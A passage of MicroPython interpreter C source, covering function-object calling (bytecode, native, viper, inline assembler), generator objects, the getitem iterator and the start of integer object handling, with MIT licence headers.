locals and stack size_t state_size = n_state * sizeof(mp_obj_t) + n_exc_stack * sizeof(mp_exc_stack_t); mp_code_state_t *code_state; code_state = m_new_obj_var_maybe(mp_code_state_t, byte, state_size); if (!code_state) { return NULL; } code_state->fun_bc = self; code_state->ip = 0; mp_setup_code_state(code_state, n_args, n_kw, args); // execute the byte code with the correct globals context code_state->old_globals = mp_globals_get(); mp_globals_set(self->globals); return code_state; } #endif STATIC mp_obj_t fun_bc_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { MP_STACK_CHECK(); DEBUG_printf("Input n_args: " UINT_FMT ", n_kw: " UINT_FMT "\n", n_args, n_kw); DEBUG_printf("Input pos args: "); dump_args(args, n_args); DEBUG_printf("Input kw args: "); dump_args(args + n_args, n_kw * 2); mp_obj_fun_bc_t *self = MP_OBJ_TO_PTR(self_in); DEBUG_printf("Func n_def_args: %d\n", self->n_def_args); // bytecode prelude: state size and exception stack size size_t n_state = mp_decode_uint_value(self->bytecode); size_t n_exc_stack = mp_decode_uint_value(mp_decode_uint_skip(self->bytecode)); #if VM_DETECT_STACK_OVERFLOW n_state += 1; #endif // allocate state for locals and stack size_t state_size = n_state * sizeof(mp_obj_t) + n_exc_stack * sizeof(mp_exc_stack_t); mp_code_state_t *code_state = NULL; if (state_size > VM_MAX_STATE_ON_STACK) { code_state = m_new_obj_var_maybe(mp_code_state_t, byte, state_size); } if (code_state == NULL) { code_state = alloca(sizeof(mp_code_state_t) + state_size); state_size = 0; // indicate that we allocated using alloca } code_state->fun_bc = self; code_state->ip = 0; mp_setup_code_state(code_state, n_args, n_kw, args); // execute the byte code with the correct globals context code_state->old_globals = mp_globals_get(); mp_globals_set(self->globals); mp_vm_return_kind_t vm_return_kind = mp_execute_bytecode(code_state, MP_OBJ_NULL); mp_globals_set(code_state->old_globals); #if VM_DETECT_STACK_OVERFLOW if (vm_return_kind == MP_VM_RETURN_NORMAL) { if (code_state->sp < code_state->state) { printf("VM stack underflow: " INT_FMT "\n", code_state->sp - code_state->state); assert(0); } } // We can't check the case when an exception is returned in state[n_state - 1] // and there are no arguments, because in this case our detection slot may have // been overwritten by the returned exception (which is allowed). if (!(vm_return_kind == MP_VM_RETURN_EXCEPTION && self->n_pos_args + self->n_kwonly_args == 0)) { // Just check to see that we have at least 1 null object left in the state. bool overflow = true; for (size_t i = 0; i < n_state - self->n_pos_args - self->n_kwonly_args; i++) { if (code_state->state[i] == MP_OBJ_NULL) { overflow = false; break; } } if (overflow) { printf("VM stack overflow state=%p n_state+1=" UINT_FMT "\n", code_state->state, n_state); assert(0); } } #endif mp_obj_t result; if (vm_return_kind == MP_VM_RETURN_NORMAL) { // return value is in *sp result = *code_state->sp; } else { // must be an exception because normal functions can't yield assert(vm_return_kind == MP_VM_RETURN_EXCEPTION); // return value is in fastn[0]==state[n_state - 1] result = code_state->state[n_state - 1]; } // free the state if it was allocated on the heap if (state_size != 0) { m_del_var(mp_code_state_t, byte, state_size, code_state); } if (vm_return_kind == MP_VM_RETURN_NORMAL) { return result; } else { // MP_VM_RETURN_EXCEPTION nlr_raise(result); } } #if MICROPY_PY_FUNCTION_ATTRS STATIC void fun_bc_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] != MP_OBJ_NULL) { // not load attribute return; } if (attr == MP_QSTR___name__) { dest[0] = MP_OBJ_NEW_QSTR(mp_obj_fun_get_name(self_in)); } } #endif const mp_obj_type_t mp_type_fun_bc = { { &mp_type_type }, .name = MP_QSTR_function, #if MICROPY_CPYTHON_COMPAT .print = fun_bc_print, #endif .call = fun_bc_call, .unary_op = mp_generic_unary_op, #if MICROPY_PY_FUNCTION_ATTRS .attr = fun_bc_attr, #endif }; mp_obj_t mp_obj_new_fun_bc(mp_obj_t def_args_in, mp_obj_t def_kw_args, const byte *code, const mp_uint_t *const_table) { size_t n_def_args = 0; size_t n_extra_args = 0; mp_obj_tuple_t *def_args = MP_OBJ_TO_PTR(def_args_in); if (def_args_in != MP_OBJ_NULL) { assert(MP_OBJ_IS_TYPE(def_args_in, &mp_type_tuple)); n_def_args = def_args->len; n_extra_args = def_args->len; } if (def_kw_args != MP_OBJ_NULL) { n_extra_args += 1; } mp_obj_fun_bc_t *o = m_new_obj_var(mp_obj_fun_bc_t, mp_obj_t, n_extra_args); o->base.type = &mp_type_fun_bc; o->globals = mp_globals_get(); o->bytecode = code; o->const_table = const_table; if (def_args != NULL) { memcpy(o->extra_args, def_args->items, n_def_args * sizeof(mp_obj_t)); } if (def_kw_args != MP_OBJ_NULL) { o->extra_args[n_def_args] = def_kw_args; } return MP_OBJ_FROM_PTR(o); } /******************************************************************************/ /* native functions */ #if MICROPY_EMIT_NATIVE STATIC mp_obj_t fun_native_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { MP_STACK_CHECK(); mp_obj_fun_bc_t *self = self_in; mp_call_fun_t fun = MICROPY_MAKE_POINTER_CALLABLE((void*)self->bytecode); return fun(self_in, n_args, n_kw, args); } STATIC const mp_obj_type_t mp_type_fun_native = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_native_call, .unary_op = mp_generic_unary_op, }; mp_obj_t mp_obj_new_fun_native(mp_obj_t def_args_in, mp_obj_t def_kw_args, const void *fun_data, const mp_uint_t *const_table) { mp_obj_fun_bc_t *o = mp_obj_new_fun_bc(def_args_in, def_kw_args, (const byte*)fun_data, const_table); o->base.type = &mp_type_fun_native; return o; } #endif // MICROPY_EMIT_NATIVE /******************************************************************************/ /* viper functions */ #if MICROPY_EMIT_NATIVE typedef struct _mp_obj_fun_viper_t { mp_obj_base_t base; size_t n_args; void *fun_data; // GC must be able to trace this pointer mp_uint_t type_sig; } mp_obj_fun_viper_t; typedef mp_uint_t (*viper_fun_0_t)(void); typedef mp_uint_t (*viper_fun_1_t)(mp_uint_t); typedef mp_uint_t (*viper_fun_2_t)(mp_uint_t, mp_uint_t); typedef mp_uint_t (*viper_fun_3_t)(mp_uint_t, mp_uint_t, mp_uint_t); typedef mp_uint_t (*viper_fun_4_t)(mp_uint_t, mp_uint_t, mp_uint_t, mp_uint_t); STATIC mp_obj_t fun_viper_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_fun_viper_t *self = self_in; mp_arg_check_num(n_args, n_kw, self->n_args, self->n_args, false); void *fun = MICROPY_MAKE_POINTER_CALLABLE(self->fun_data); mp_uint_t ret; if (n_args == 0) { ret = ((viper_fun_0_t)fun)(); } else if (n_args == 1) { ret = ((viper_fun_1_t)fun)(mp_convert_obj_to_native(args[0], self->type_sig >> 4)); } else if (n_args == 2) { ret = ((viper_fun_2_t)fun)(mp_convert_obj_to_native(args[0], self->type_sig >> 4), mp_convert_obj_to_native(args[1], self->type_sig >> 8)); } else if (n_args == 3) { ret = ((viper_fun_3_t)fun)(mp_convert_obj_to_native(args[0], self->type_sig >> 4), mp_convert_obj_to_native(args[1], self->type_sig >> 8), mp_convert_obj_to_native(args[2], self->type_sig >> 12)); } else { // compiler allows at most 4 arguments assert(n_args == 4); ret = ((viper_fun_4_t)fun)( mp_convert_obj_to_native(args[0], self->type_sig >> 4), mp_convert_obj_to_native(args[1], self->type_sig >> 8), mp_convert_obj_to_native(args[2], self->type_sig >> 12), mp_convert_obj_to_native(args[3], self->type_sig >> 16) ); } return mp_convert_native_to_obj(ret, self->type_sig); } STATIC const mp_obj_type_t mp_type_fun_viper = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_viper_call, .unary_op = mp_generic_unary_op, }; mp_obj_t mp_obj_new_fun_viper(size_t n_args, void *fun_data, mp_uint_t type_sig) { mp_obj_fun_viper_t *o = m_new_obj(mp_obj_fun_viper_t); o->base.type = &mp_type_fun_viper; o->n_args = n_args; o->fun_data = fun_data; o->type_sig = type_sig; return o; } #endif // MICROPY_EMIT_NATIVE /******************************************************************************/ /* inline assembler functions */ #if MICROPY_EMIT_INLINE_ASM typedef struct _mp_obj_fun_asm_t { mp_obj_base_t base; size_t n_args; void *fun_data; // GC must be able to trace this pointer mp_uint_t type_sig; } mp_obj_fun_asm_t; typedef mp_uint_t (*inline_asm_fun_0_t)(void); typedef mp_uint_t (*inline_asm_fun_1_t)(mp_uint_t); typedef mp_uint_t (*inline_asm_fun_2_t)(mp_uint_t, mp_uint_t); typedef mp_uint_t (*inline_asm_fun_3_t)(mp_uint_t, mp_uint_t, mp_uint_t); typedef mp_uint_t (*inline_asm_fun_4_t)(mp_uint_t, mp_uint_t, mp_uint_t, mp_uint_t); // convert a MicroPython object to a sensible value for inline asm STATIC mp_uint_t convert_obj_for_inline_asm(mp_obj_t obj) { // TODO for byte_array, pass pointer to the array if (MP_OBJ_IS_SMALL_INT(obj)) { return MP_OBJ_SMALL_INT_VALUE(obj); } else if (obj == mp_const_none) { return 0; } else if (obj == mp_const_false) { return 0; } else if (obj == mp_const_true) { return 1; } else if (MP_OBJ_IS_TYPE(obj, &mp_type_int)) { return mp_obj_int_get_truncated(obj); } else if (MP_OBJ_IS_STR(obj)) { // pointer to the string (it's probably constant though!) size_t l; return (mp_uint_t)mp_obj_str_get_data(obj, &l); } else { mp_obj_type_t *type = mp_obj_get_type(obj); if (0) { #if MICROPY_PY_BUILTINS_FLOAT } else if (type == &mp_type_float) { // convert float to int (could also pass in float registers) return (mp_int_t)mp_obj_float_get(obj); #endif } else if (type == &mp_type_tuple || type == &mp_type_list) { // pointer to start of tuple (could pass length, but then could use len(x) for that) size_t len; mp_obj_t *items; mp_obj_get_array(obj, &len, &items); return (mp_uint_t)items; } else { mp_buffer_info_t bufinfo; if (mp_get_buffer(obj, &bufinfo, MP_BUFFER_WRITE)) { // supports the buffer protocol, return a pointer to the data return (mp_uint_t)bufinfo.buf; } else { // just pass along a pointer to the object return (mp_uint_t)obj; } } } } STATIC mp_obj_t fun_asm_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_fun_asm_t *self = self_in; mp_arg_check_num(n_args, n_kw, self->n_args, self->n_args, false); void *fun = MICROPY_MAKE_POINTER_CALLABLE(self->fun_data); mp_uint_t ret; if (n_args == 0) { ret = ((inline_asm_fun_0_t)fun)(); } else if (n_args == 1) { ret = ((inline_asm_fun_1_t)fun)(convert_obj_for_inline_asm(args[0])); } else if (n_args == 2) { ret = ((inline_asm_fun_2_t)fun)(convert_obj_for_inline_asm(args[0]), convert_obj_for_inline_asm(args[1])); } else if (n_args == 3) { ret = ((inline_asm_fun_3_t)fun)(convert_obj_for_inline_asm(args[0]), convert_obj_for_inline_asm(args[1]), convert_obj_for_inline_asm(args[2])); } else { // compiler allows at most 4 arguments assert(n_args == 4); ret = ((inline_asm_fun_4_t)fun)( convert_obj_for_inline_asm(args[0]), convert_obj_for_inline_asm(args[1]), convert_obj_for_inline_asm(args[2]), convert_obj_for_inline_asm(args[3]) ); } return mp_convert_native_to_obj(ret, self->type_sig); } STATIC const mp_obj_type_t mp_type_fun_asm = { { &mp_type_type }, .name = MP_QSTR_function, .call = fun_asm_call, .unary_op = mp_generic_unary_op, }; mp_obj_t mp_obj_new_fun_asm(size_t n_args, void *fun_data, mp_uint_t type_sig) { mp_obj_fun_asm_t *o = m_new_obj(mp_obj_fun_asm_t); o->base.type = &mp_type_fun_asm; o->n_args = n_args; o->fun_data = fun_data; o->type_sig = type_sig; return o; } #endif // MICROPY_EMIT_INLINE_ASM ================================================ FILE: micropython/source/py/objgenerator.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/obj.h" #include "py/runtime.h" #include "py/bc.h" #include "py/objgenerator.h" #include "py/objfun.h" /******************************************************************************/ /* generator wrapper */ typedef struct _mp_obj_gen_wrap_t { mp_obj_base_t base; mp_obj_t *fun; } mp_obj_gen_wrap_t; typedef struct _mp_obj_gen_instance_t { mp_obj_base_t base; mp_obj_dict_t *globals; mp_code_state_t code_state; } mp_obj_gen_instance_t; STATIC mp_obj_t gen_wrap_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_gen_wrap_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_fun_bc_t *self_fun = (mp_obj_fun_bc_t*)self->fun; assert(self_fun->base.type == &mp_type_fun_bc); // bytecode prelude: get state size and exception stack size size_t n_state = mp_decode_uint_value(self_fun->bytecode); size_t n_exc_stack = mp_decode_uint_value(mp_decode_uint_skip(self_fun->bytecode)); // allocate the generator object, with room for local stack and exception stack mp_obj_gen_instance_t *o = m_new_obj_var(mp_obj_gen_instance_t, byte, n_state * sizeof(mp_obj_t) + n_exc_stack * sizeof(mp_exc_stack_t)); o->base.type = &mp_type_gen_instance; o->globals = self_fun->globals; o->code_state.fun_bc = self_fun; o->code_state.ip = 0; mp_setup_code_state(&o->code_state, n_args, n_kw, args); return MP_OBJ_FROM_PTR(o); } const mp_obj_type_t mp_type_gen_wrap = { { &mp_type_type }, .name = MP_QSTR_generator, .call = gen_wrap_call, .unary_op = mp_generic_unary_op, }; mp_obj_t mp_obj_new_gen_wrap(mp_obj_t fun) { mp_obj_gen_wrap_t *o = m_new_obj(mp_obj_gen_wrap_t); o->base.type = &mp_type_gen_wrap; o->fun = MP_OBJ_TO_PTR(fun); return MP_OBJ_FROM_PTR(o); } /******************************************************************************/ /* generator instance */ STATIC void gen_instance_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_gen_instance_t *self = MP_OBJ_TO_PTR(self_in); mp_printf(print, "", mp_obj_fun_get_name(MP_OBJ_FROM_PTR(self->code_state.fun_bc)), self); } mp_vm_return_kind_t mp_obj_gen_resume(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value, mp_obj_t *ret_val) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_gen_instance)); mp_obj_gen_instance_t *self = MP_OBJ_TO_PTR(self_in); if (self->code_state.ip == 0) { // Trying to resume already stopped generator *ret_val = MP_OBJ_STOP_ITERATION; return MP_VM_RETURN_NORMAL; } if (self->code_state.sp == self->code_state.state - 1) { if (send_value != mp_const_none) { mp_raise_TypeError("can't send non-None value to a just-started generator"); } } else { *self->code_state.sp = send_value; } mp_obj_dict_t *old_globals = mp_globals_get(); mp_globals_set(self->globals); mp_vm_return_kind_t ret_kind = mp_execute_bytecode(&self->code_state, throw_value); mp_globals_set(old_globals); switch (ret_kind) { case MP_VM_RETURN_NORMAL: default: // Explicitly mark generator as completed. If we don't do this, // subsequent next() may re-execute statements after last yield // again and again, leading to side effects. // TODO: check how return with value behaves under such conditions // in CPython. self->code_state.ip = 0; *ret_val = *self->code_state.sp; break; case MP_VM_RETURN_YIELD: *ret_val = *self->code_state.sp; if (*ret_val == MP_OBJ_STOP_ITERATION) { self->code_state.ip = 0; } break; case MP_VM_RETURN_EXCEPTION: { size_t n_state = mp_decode_uint_value(self->code_state.fun_bc->bytecode); self->code_state.ip = 0; *ret_val = self->code_state.state[n_state - 1]; break; } } return ret_kind; } STATIC mp_obj_t gen_resume_and_raise(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value) { mp_obj_t ret; switch (mp_obj_gen_resume(self_in, send_value, throw_value, &ret)) { case MP_VM_RETURN_NORMAL: default: // Optimize return w/o value in case generator is used in for loop if (ret == mp_const_none || ret == MP_OBJ_STOP_ITERATION) { return MP_OBJ_STOP_ITERATION; } else { nlr_raise(mp_obj_new_exception_args(&mp_type_StopIteration, 1, &ret)); } case MP_VM_RETURN_YIELD: return ret; case MP_VM_RETURN_EXCEPTION: // TODO: Optimization of returning MP_OBJ_STOP_ITERATION is really part // of mp_iternext() protocol, but this function is called by other methods // too, which may not handled MP_OBJ_STOP_ITERATION. if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(ret)), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) { mp_obj_t val = mp_obj_exception_get_value(ret); if (val == mp_const_none) { return MP_OBJ_STOP_ITERATION; } } nlr_raise(ret); } } STATIC mp_obj_t gen_instance_iternext(mp_obj_t self_in) { return gen_resume_and_raise(self_in, mp_const_none, MP_OBJ_NULL); } STATIC mp_obj_t gen_instance_send(mp_obj_t self_in, mp_obj_t send_value) { mp_obj_t ret = gen_resume_and_raise(self_in, send_value, MP_OBJ_NULL); if (ret == MP_OBJ_STOP_ITERATION) { nlr_raise(mp_obj_new_exception(&mp_type_StopIteration)); } else { return ret; } } STATIC MP_DEFINE_CONST_FUN_OBJ_2(gen_instance_send_obj, gen_instance_send); STATIC mp_obj_t gen_instance_close(mp_obj_t self_in); STATIC mp_obj_t gen_instance_throw(size_t n_args, const mp_obj_t *args) { mp_obj_t exc = (n_args == 2) ? args[1] : args[2]; mp_obj_t ret = gen_resume_and_raise(args[0], mp_const_none, exc); if (ret == MP_OBJ_STOP_ITERATION) { nlr_raise(mp_obj_new_exception(&mp_type_StopIteration)); } else { return ret; } } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(gen_instance_throw_obj, 2, 4, gen_instance_throw); STATIC mp_obj_t gen_instance_close(mp_obj_t self_in) { mp_obj_t ret; switch (mp_obj_gen_resume(self_in, mp_const_none, MP_OBJ_FROM_PTR(&mp_const_GeneratorExit_obj), &ret)) { case MP_VM_RETURN_YIELD: mp_raise_msg(&mp_type_RuntimeError, "generator ignored GeneratorExit"); // Swallow StopIteration & GeneratorExit (== successful close), and re-raise any other case MP_VM_RETURN_EXCEPTION: // ret should always be an instance of an exception class if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(ret)), MP_OBJ_FROM_PTR(&mp_type_GeneratorExit)) || mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(mp_obj_get_type(ret)), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) { return mp_const_none; } nlr_raise(ret); default: // The only choice left is MP_VM_RETURN_NORMAL which is successful close return mp_const_none; } } STATIC MP_DEFINE_CONST_FUN_OBJ_1(gen_instance_close_obj, gen_instance_close); STATIC const mp_rom_map_elem_t gen_instance_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_close), MP_ROM_PTR(&gen_instance_close_obj) }, { MP_ROM_QSTR(MP_QSTR_send), MP_ROM_PTR(&gen_instance_send_obj) }, { MP_ROM_QSTR(MP_QSTR_throw), MP_ROM_PTR(&gen_instance_throw_obj) }, }; STATIC MP_DEFINE_CONST_DICT(gen_instance_locals_dict, gen_instance_locals_dict_table); const mp_obj_type_t mp_type_gen_instance = { { &mp_type_type }, .name = MP_QSTR_generator, .print = gen_instance_print, .unary_op = mp_generic_unary_op, .getiter = mp_identity_getiter, .iternext = gen_instance_iternext, .locals_dict = (mp_obj_dict_t*)&gen_instance_locals_dict, }; ================================================ FILE: micropython/source/py/objgetitemiter.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/nlr.h" #include "py/runtime.h" // this is a wrapper object that turns something that has a __getitem__ method into an iterator typedef struct _mp_obj_getitem_iter_t { mp_obj_base_t base; mp_obj_t args[3]; } mp_obj_getitem_iter_t; STATIC mp_obj_t it_iternext(mp_obj_t self_in) { mp_obj_getitem_iter_t *self = MP_OBJ_TO_PTR(self_in); nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { // try to get next item mp_obj_t value = mp_call_method_n_kw(1, 0, self->args); self->args[2] = MP_OBJ_NEW_SMALL_INT(MP_OBJ_SMALL_INT_VALUE(self->args[2]) + 1); nlr_pop(); return value; } else { // an exception was raised mp_obj_type_t *t = (mp_obj_type_t*)((mp_obj_base_t*)nlr.ret_val)->type; if (t == &mp_type_StopIteration || t == &mp_type_IndexError) { // return MP_OBJ_STOP_ITERATION instead of raising return MP_OBJ_STOP_ITERATION; } else { // re-raise exception nlr_jump(nlr.ret_val); } } } STATIC const mp_obj_type_t it_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .getiter = mp_identity_getiter, .iternext = it_iternext, }; // args are those returned from mp_load_method_maybe (ie either an attribute or a method) mp_obj_t mp_obj_new_getitem_iter(mp_obj_t *args, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_getitem_iter_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_getitem_iter_t *o = (mp_obj_getitem_iter_t*)iter_buf; o->base.type = &it_type; o->args[0] = args[0]; o->args[1] = args[1]; o->args[2] = MP_OBJ_NEW_SMALL_INT(0); return MP_OBJ_FROM_PTR(o); } ================================================ FILE: micropython/source/py/objint.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/parsenum.h" #include "py/smallint.h" #include "py/objint.h" #include "py/objstr.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/binary.h" #if MICROPY_PY_BUILTINS_FLOAT #include #endif // This dispatcher function is expected to be independent of the implementation of long int STATIC mp_obj_t mp_obj_int_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 2, false); switch (n_args) { case 0: return MP_OBJ_NEW_SMALL_INT(0); case 1: if (MP_OBJ_IS_INT(args[0])) { // already an int (small or long), just return it return args[0]; } else if (MP_OBJ_IS_STR_OR_BYTES(args[0])) { // a string, parse it size_t l; const char *s = mp_obj_str_get_data(args[0], &l); return mp_parse_num_integer(s, l, 0, NULL); #if MICROPY_PY_BUILTINS_FLOAT } else if (mp_obj_is_float(args[0])) { return mp_obj_new_int_from_float(mp_obj_float_get(args[0])); #endif } else { // try to convert to small int (eg from bool) return MP_OBJ_NEW_SMALL_INT(mp_obj_get_int(args[0])); } case 2: default: { // should be a string, parse it // TODO proper error checking of argument types size_t l; const char *s = mp_obj_str_get_data(args[0], &l); return mp_parse_num_integer(s, l, mp_obj_get_int(args[1]), NULL); } } } #if MICROPY_PY_BUILTINS_FLOAT typedef enum { MP_FP_CLASS_FIT_SMALLINT, MP_FP_CLASS_FIT_LONGINT, MP_FP_CLASS_OVERFLOW } mp_fp_as_int_class_t; STATIC mp_fp_as_int_class_t mp_classify_fp_as_int(mp_float_t val) { union { mp_float_t f; #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT uint32_t i; #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE uint32_t i[2]; #endif } u = {val}; uint32_t e; #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT e = u.i; #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE e = u.i[MP_ENDIANNESS_LITTLE]; #endif #define MP_FLOAT_SIGN_SHIFT_I32 ((MP_FLOAT_FRAC_BITS + MP_FLOAT_EXP_BITS) % 32) #define MP_FLOAT_EXP_SHIFT_I32 (MP_FLOAT_FRAC_BITS % 32) if (e & (1U << MP_FLOAT_SIGN_SHIFT_I32)) { #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE e |= u.i[MP_ENDIANNESS_BIG] != 0; #endif if ((e & ~(1 << MP_FLOAT_SIGN_SHIFT_I32)) == 0) { // handle case of -0 (when sign is set but rest of bits are zero) e = 0; } else { e += ((1 << MP_FLOAT_EXP_BITS) - 1) << MP_FLOAT_EXP_SHIFT_I32; } } else { e &= ~((1 << MP_FLOAT_EXP_SHIFT_I32) - 1); } // 8 * sizeof(uintptr_t) counts the number of bits for a small int // TODO provide a way to configure this properly if (e <= ((8 * sizeof(uintptr_t) + MP_FLOAT_EXP_BIAS - 3) << MP_FLOAT_EXP_SHIFT_I32)) { return MP_FP_CLASS_FIT_SMALLINT; } #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG if (e <= (((sizeof(long long) * BITS_PER_BYTE) + MP_FLOAT_EXP_BIAS - 2) << MP_FLOAT_EXP_SHIFT_I32)) { return MP_FP_CLASS_FIT_LONGINT; } #endif #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ return MP_FP_CLASS_FIT_LONGINT; #else return MP_FP_CLASS_OVERFLOW; #endif } #undef MP_FLOAT_SIGN_SHIFT_I32 #undef MP_FLOAT_EXP_SHIFT_I32 mp_obj_t mp_obj_new_int_from_float(mp_float_t val) { int cl = fpclassify(val); if (cl == FP_INFINITE) { nlr_raise(mp_obj_new_exception_msg(&mp_type_OverflowError, "can't convert inf to int")); } else if (cl == FP_NAN) { mp_raise_ValueError("can't convert NaN to int"); } else { mp_fp_as_int_class_t icl = mp_classify_fp_as_int(val); if (icl == MP_FP_CLASS_FIT_SMALLINT) { return MP_OBJ_NEW_SMALL_INT((mp_int_t)val); #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ } else { mp_obj_int_t *o = mp_obj_int_new_mpz(); mpz_set_from_float(&o->mpz, val); return MP_OBJ_FROM_PTR(o); } #else #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG } else if (icl == MP_FP_CLASS_FIT_LONGINT) { return mp_obj_new_int_from_ll((long long)val); #endif } else { mp_raise_ValueError("float too big"); } #endif } } #endif #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG typedef mp_longint_impl_t fmt_int_t; typedef unsigned long long fmt_uint_t; #else typedef mp_int_t fmt_int_t; typedef mp_uint_t fmt_uint_t; #endif void mp_obj_int_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; // The size of this buffer is rather arbitrary. If it's not large // enough, a dynamic one will be allocated. char stack_buf[sizeof(fmt_int_t) * 4]; char *buf = stack_buf; size_t buf_size = sizeof(stack_buf); size_t fmt_size; char *str = mp_obj_int_formatted(&buf, &buf_size, &fmt_size, self_in, 10, NULL, '\0', '\0'); mp_print_str(print, str); if (buf != stack_buf) { m_del(char, buf, buf_size); } } STATIC const uint8_t log_base2_floor[] = { 0, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 4, /* if needed, these are the values for higher bases 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5 */ }; size_t mp_int_format_size(size_t num_bits, int base, const char *prefix, char comma) { assert(2 <= base && base <= 16); size_t num_digits = num_bits / log_base2_floor[base - 1] + 1; size_t num_commas = comma ? num_digits / 3 : 0; size_t prefix_len = prefix ? strlen(prefix) : 0; return num_digits + num_commas + prefix_len + 2; // +1 for sign, +1 for null byte } // This routine expects you to pass in a buffer and size (in *buf and *buf_size). // If, for some reason, this buffer is too small, then it will allocate a // buffer and return the allocated buffer and size in *buf and *buf_size. It // is the callers 